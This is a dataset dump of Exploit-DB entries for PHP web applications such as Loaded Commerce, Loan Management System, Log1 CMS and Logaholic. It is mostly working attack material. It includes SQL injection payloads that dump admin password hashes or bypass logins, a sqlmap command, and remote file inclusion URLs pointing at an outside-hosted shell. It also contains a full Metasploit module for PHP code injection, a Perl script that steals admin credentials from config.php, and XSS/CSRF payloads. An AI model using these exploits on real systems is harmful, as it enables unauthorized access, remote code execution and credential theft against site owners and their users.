deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52084
Description: Loaded Commerce 6.6 - Client-Side Template Injection(CSTI)
Type: webapps
Platform: php
Date: 2025-03-19
Author: tmrswrr

Exploit:
# Exploit Title: Loaded Commerce 6.6 Client-Side Template Injection(CSTI) 
# Date: 03/13/2025
# Exploit Author: tmrswrr
# Vendor Homepage: https://loadedcommerce.com/
# Version: 6.6
# Tested on: https://www.softaculous.com/apps/ecommerce/Loaded_Commerce

Injecting {{7*7}} into the search parameter 
https://demos1.softaculous.com/Loaded_Commerce/index.php?rt=core%2Fadvanced_search_result&keywords={{7*7}}
returns 49, confirming a template injection vulnerability.

Forgot [CREDENTIAL_REDACTED] {{constructor.constructor('alert(1)')()}} in the email field on the "Forgot Password" page
https://demos1.softaculous.com/Loaded_Commerce/index.php?rt=core/password_forgotten&action=process
triggers an alert, demonstrating client-side code execution.
Exploit-DB #34552
Description: LoadedCommerce7 - Systemic Query Factory
Type: webapps
Platform: php
Date: 2014-09-07
Author: Breaking.Technology

Exploit:
Title:     LoadedCommerce7 Systemic Query Factory Vulnerability

Advisory:  http://breaking.technology/advisories/CVE-2014-5140.txt

Credits:   Discovered by Breaking Technology Research Labs 2014-06-30

Reference: CVE-2014-5140 - Assigned 31 June 2014

Timeline:
           Vendor notified - 29 July 2014
           Vendor confirmed exploit 30 July 2014


Severity:           Critical
Attack Complexity:  Minimal
Classification:     SQL injection, unsafe string replacement

Description:

	Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.

Proof of Concept:

	Have a valid customer account and create a new contact in your address book using the following values.


	First name: :entry_lastname,
	Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#

	The new contact will be added to your address book with the admin hash as the contact's street address

Suggested Fix:
	Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at
        https://github.com/tomatocart/TomatoCart-v1/pull/238
Exploit-DB #48909
Description: Loan Management System 1.0 - Multiple Cross Site Scripting (Stored)
Type: webapps
Platform: php
Date: 2020-10-20
Author: Akıner Kısa

Exploit:
# Exploit Title: Loan Management System 1.0 - Multiple Cross Site Scripting (Stored)
# Google Dork: N/A
# Date: 2020/10/19
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/loan-management-system-using-php.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

Vulnerable Pages:

http://localhost/loan/index.php?page=loans
http://localhost/loan/index.php?page=payments
http://localhost/loan/index.php?page=borrowers
http://localhost/loan/index.php?page=loan_type

Proof of Concept:

1 - Go to vulnerable pages and using edit button (in the right, action column).

2 - And fill the blanks with "<script>alert(1)</script>" payload.
Exploit-DB #50402
Description: Loan Management System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-08
Author: Merve Oral

Exploit:
# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /loan/ajax.php?action=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://merve
Connection: close
Referer: http://merve/loan/login.php
Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h

username=admin'+or+'1'%3D'1'%23&password=any
Exploit-DB #2595
Description: LoCal Calendar 1.1 - 'lcUser.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-18
Author: o0xxdark0o

Exploit:
+-------------------------------------------------------------------------------------------
local Calendar System v1.1 (lcUser.php) Remote File Include
---------------------------------------------------------------------------------------------
An advanced instrumentation reservation system for equipment calendaring and user management.
--------------------------------------------------------------------------------------------
download : ftp://ftp.loci.wisc.edu/locisoftware/LoCal/LoCal-1.1.tar.gz
--------------------------------------------------------------------------------------------
screenshot : http://www.loci.wisc.edu/calendar/tutorial/monthview.jpg
--------------------------------------------------------------------------------------------
code :
require "$LIBDIR/lcMembership.inc";
require "$LIBDIR/lcErrorChecker.inc";
--------------------------------------------------------------------------------------------
exploit:
local/lib/lcUser.php?LIBDIR=http://members.lycos.co.uk/o0xxdark0o3/ms.txt?
--------------------------------------------------------------------------
greetz :
:( no one
-------------------------------------------------------------------------
by o0xxdark0o
i think... so that... i m here
o0xxdark0o@msn.com
##---------------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-18]
Exploit-DB #49610
Description: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-03-03
Author: Tushar Vaidya

Exploit:
# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)
# Date: 2021-03-02
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867
# Version: v1.0
# Tested on: Ubuntu
# Detail walkthrough: https://medium.com/@tusharvaidya16/authenticated-blind-error-based-sql-injection-on-local-services-search-engine-management-system-3e99779f0850

*Steps to Reproduce:*
1) Login with Admin Credentials and click on the *Service Category* button.
2) Click on the *Manage Category* button.
3) Now add the double quote ( " ) in the URL after *editid parameter*
4) At that time we observe that the application is misbehaving now capture this request from the burp suite and save it into an SQL text file.
4) Now fire up the following command into SQLMAP

CMD: sqlmap -r sql_file.txt --data="editid=1" --curent-db --level 5 --risk 3

4) We got a database.

*Below request from sql_file.txt*

GET /LSSMES/lssems/admin/edit-category-detail.php?editid=* HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101
Firefox/86.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lcoalhost/LSSMES/lssems/admin/manage-category.php
Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc
Upgrade-Insecure-Requests: 1
Exploit-DB #28819
Description: Lodel CMS 0.7.3 - 'Calcul-page.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-17
Author: The_BeKiR

Exploit:
source: https://www.securityfocus.com/bid/20551/info

Lodel CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 0.7.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/calcul-page.php?home=[shell]
Exploit-DB #50372
Description: Lodging Reservation Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-04
Author: Nitin Sharma

Exploit:
# Exploit Title: Lodging Reservation Management System 1.0 - Authentication Bypass
# Date: 2021-09-20 
# Exploit Author: Nitin Sharma(vidvansh)
# Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code
# Version: v1.0
# Tested on: Windows 10 - XAMPP Server 


# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.

#Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.

# PoC:

POST /lodge/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/lodge/admin/login.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+


# Authentication Bypass:

# Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password => 
Username: ' or 1 -- -			
Password: ' or 1 -- -
Exploit-DB #18975
Description: Log1 CMS - 'writeInfo()' PHP Code Injection (Metasploit)
Type: webapps
Platform: php
Date: 2012-06-03
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Log1 CMS writeInfo() PHP Code Injection",
			'Description'    => %q{
					This module exploits the "Ajax File and Image Manager" component that can be
				found in log1 CMS.  In function.base.php of this component, the 'data' parameter
				in writeInfo() allows any malicious user to have direct control of writing data
				to file data.php, which results in arbitrary remote code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',     #Found the bug in ajax_create_folder.php
					'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
					'sinn3r'    #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4825'],
					['OSVDB', '76928'],
					['EDB', '18075'],  #Egix's advisory
					['EDB', '18151']   #Adel's
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['log1 CMS 2.0', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 11 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
			], self.class)
	end


	def check
		uri = target_uri.path
		uri << '/' if uri[-1, 1] != '/'

		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php"
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1, 1] != '/'

		peer = "#{rhost}:#{rport}"
		php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|

		print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)")
		send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php",
			'data'   => php
		})

		print_status("#{peer} - Requesting data.php")
		send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php"
		})

		handler
	end
end
Exploit-DB #16969
Description: Log1 CMS 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-14
Author: Aodrulez

Exploit:
+---------------------------------------+
| Log1 CMS 2.0 Multiple Vulnerabilities |
+---------------------------------------+
 
 
 
Vulnerable Web-App : Log1 CMS 2.0
Vulnerability      : Multiple Vulnerabilities.
Author             : Aodrulez. (Atul Alex Cherian)
Email              : f3arm3d3ar@gmail.com
Google-Dork        : "POWERED BY LOG1 CMS"
Tested on          : Ubuntu 10.04
Vendor		   : http://log1cms.sourceforge.net/


+---------+
| Details |
+---------+

This CMS suffers from multiple vulnerabilities.

1] "AjaxFileManager" implemented without the need for a valid session.
Path: http://localhost/admin/libraries/ajaxfilemanager/ajaxfilemanager.php

2] "ajax_save_name.php" can be used to rename any file on the system/www-root 
to any name that contains safe extensions (txt,jpg etc)

3] "AjaxFileManager.php" allows download of even php files if its under the 'Root Folder'.
Exploit: http://localhost/admin/libraries/ajaxfilemanager/ajax_download.php?path=../../../db/uploaded/index.php

4] "main.php" can be used to upload any file-type as long as this is true : "Content-Type: image:jpeg" 
Exploit:http://localhost/admin/main.php?action=upload



+--------------------+
| Exploit (Perl Code)|
+--------------------+
(This exploit will fetch Sensitive Login information
 from 'http://target.com/admin/config.php' & trigger
 DOS attack against the Web-Application)

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP 5.64;
my $browser = LWP::UserAgent->new();
my $url=$ARGV[0];
print "+---------------------------------------+\n";
print "| Log1 CMS 2.0 Multiple Vulnerabilities |\n";
print "+---------------------------------------+\n\n";
print "Author             : Aodrulez. (Atul Alex Cherian)\n";
print "Email              : f3arm3d3ar\@gmail.com\n";
print "Google-Dork        : \"POWERED BY LOG1 CMS\"\n";
if(!$url)
{die ("\nPlease enter the target url. Ex. perl $0 http://www.test.com");}
my $ajaxfileman='/admin/libraries/ajaxfilemanager/ajax_save_name.php';
$response = HTTP::Request->new(POST => $url.$ajaxfileman) or die("\n Connection Error!");
$response->content_type("application/x-www-form-urlencoded");
$response->content("original_path=../../../admin/config.php&name=config.txt");
my $data=$browser->request($response)->as_string;
if($data!~m/HTTP\/1.1 200 OK/){ die ("\n$url Not Vulnerable!\n");}
$response = HTTP::Request->new(GET => $url.'/admin/config.txt') or die("\n Connection Error!");
my $data=$browser->request($response)->as_string;
$data=~ m/\"(.*?)\";\r\n.*?\"(.*?)\";/g;
print "\nAdmin Username : ".$1."\nAdmin Password : ".$2." (MD5 Hash)\n";

 
 
+-------------------+
| Greetz Fly Out To |
+-------------------+
  
 
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] www.orchidseven.com
4] www.malcon.org
5] www.isac.org.in


+-------+
| Quote |
+-------+

"Learn the Rules really well so you know how to Break them in Multiple Ways." - Aodrulez 
;)
Exploit-DB #34109
Description: log1 CMS 2.0 - Session Handling Remote Security Bypass / Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-03
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40636/info

log1 CMS is prone to a security-bypass vulnerability because of a design flaw and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

log1 CMS 2.0 is vulnerable; other versions may be affected.

<form action="http://example.com/admin/main.php?action=savefile" method="post" name="main" > <input name="content" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' /> <input type="hidden" name="filename" value="menupage1_page" /> </form> <script> document.main.submit(); </script>
Exploit-DB #3014
Description: logahead UNU edition 1.0 - Arbitrary File Upload / Code Execution
Type: webapps
Platform: php
Date: 2006-12-25
Author: CorryL

Exploit:
-=[--------------------ADVISORY-------------------]=-
                                             
              logahead UNU edition 1.0    
                                              
  Author: CorryL    [corryl80@gmail.com]  
-=[-----------------------------------------------]=-


-=[+] Application:    logahead UNU edition
-=[+] Version:        1.0
-=[+] Vendor's URL:   http://typo.i24.cc/logahead/
-=[+] Platform:       Windows\Linux\Unix
-=[+] Bug type:       Remote Upload file & Code execution
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:          CorryL  ~ corryl80[at]gmail[dot]com ~
-=[+] Reference:       www.x0n3-h4ck.org
-=[+] Virtual Office:  http://www.kasamba.com/CorryL
-=[+] Irc Chan:        irc.darksin.net #x0n3-h4ck       
-=[+] Special Thanks: Merry Christmas for All, Thanks for all  #x0n3-h4ck member,
                                  un saluto a tutti gli avolesi nel mondo.

..::[ Descriprion ]::..

You might already have heard of logahead - the ajaxified blogging engine using PHP4 and mySQL database by James from the UK.
The UNU edition is based on the logahead beta 1.0 code published under GNU/GPL license. While the original version sticks to 
the basic functions of a blog (mainly publishing posts and receiving comments), the UNU edition is more enchanted and offers 
a number of additional features.


..::[ Bug ]::..

My give searches the form Widgets of this blog is results vulnerability, in fact
a remote attaker is able to upload also a file php, and to perform arbitrary commands
inside the server victim.

..::[ Proof Of Concept ]::..

http://www.server-victim/extras/plugins/widged/_widged.php?A=U&D=


..::[ Disclousure Timeline ]::..

 [25/12/2006] - Public disclousure

# milw0rm.com [2006-12-25]
Exploit-DB #30930
Description: Logaholic - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-24
Author: malibu.r

Exploit:
source: https://www.securityfocus.com/bid/27003/info
 
Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/logaholic/index.php?conf=nameofprofile&from=SQL INJECTION
Exploit-DB #30931
Description: Logaholic - 'index.php?conf' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-24
Author: malibu.r

Exploit:
source: https://www.securityfocus.com/bid/27003/info
  
Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/index.php?conf=<img+src=http://testingsite.com/yep.gif+onload=alert(812051443)>
Exploit-DB #30932
Description: Logaholic - 'profiles.php?newconfname' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-24
Author: malibu.r

Exploit:
source: https://www.securityfocus.com/bid/27003/info
   
Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
POST variable "newconfname" in  profiles.php?conf=nameofprofile to
>"><ScRiPt%20%0a%0d>alert(xss)%3B</ScRiPt> in /logaholic/profiles.php
Exploit-DB #30929
Description: Logaholic - 'update.php?page' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-24
Author: malibu.r

Exploit:
source: https://www.securityfocus.com/bid/27003/info

Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/logaholic/update.php?conf=nameofprofile&page=SQL INjection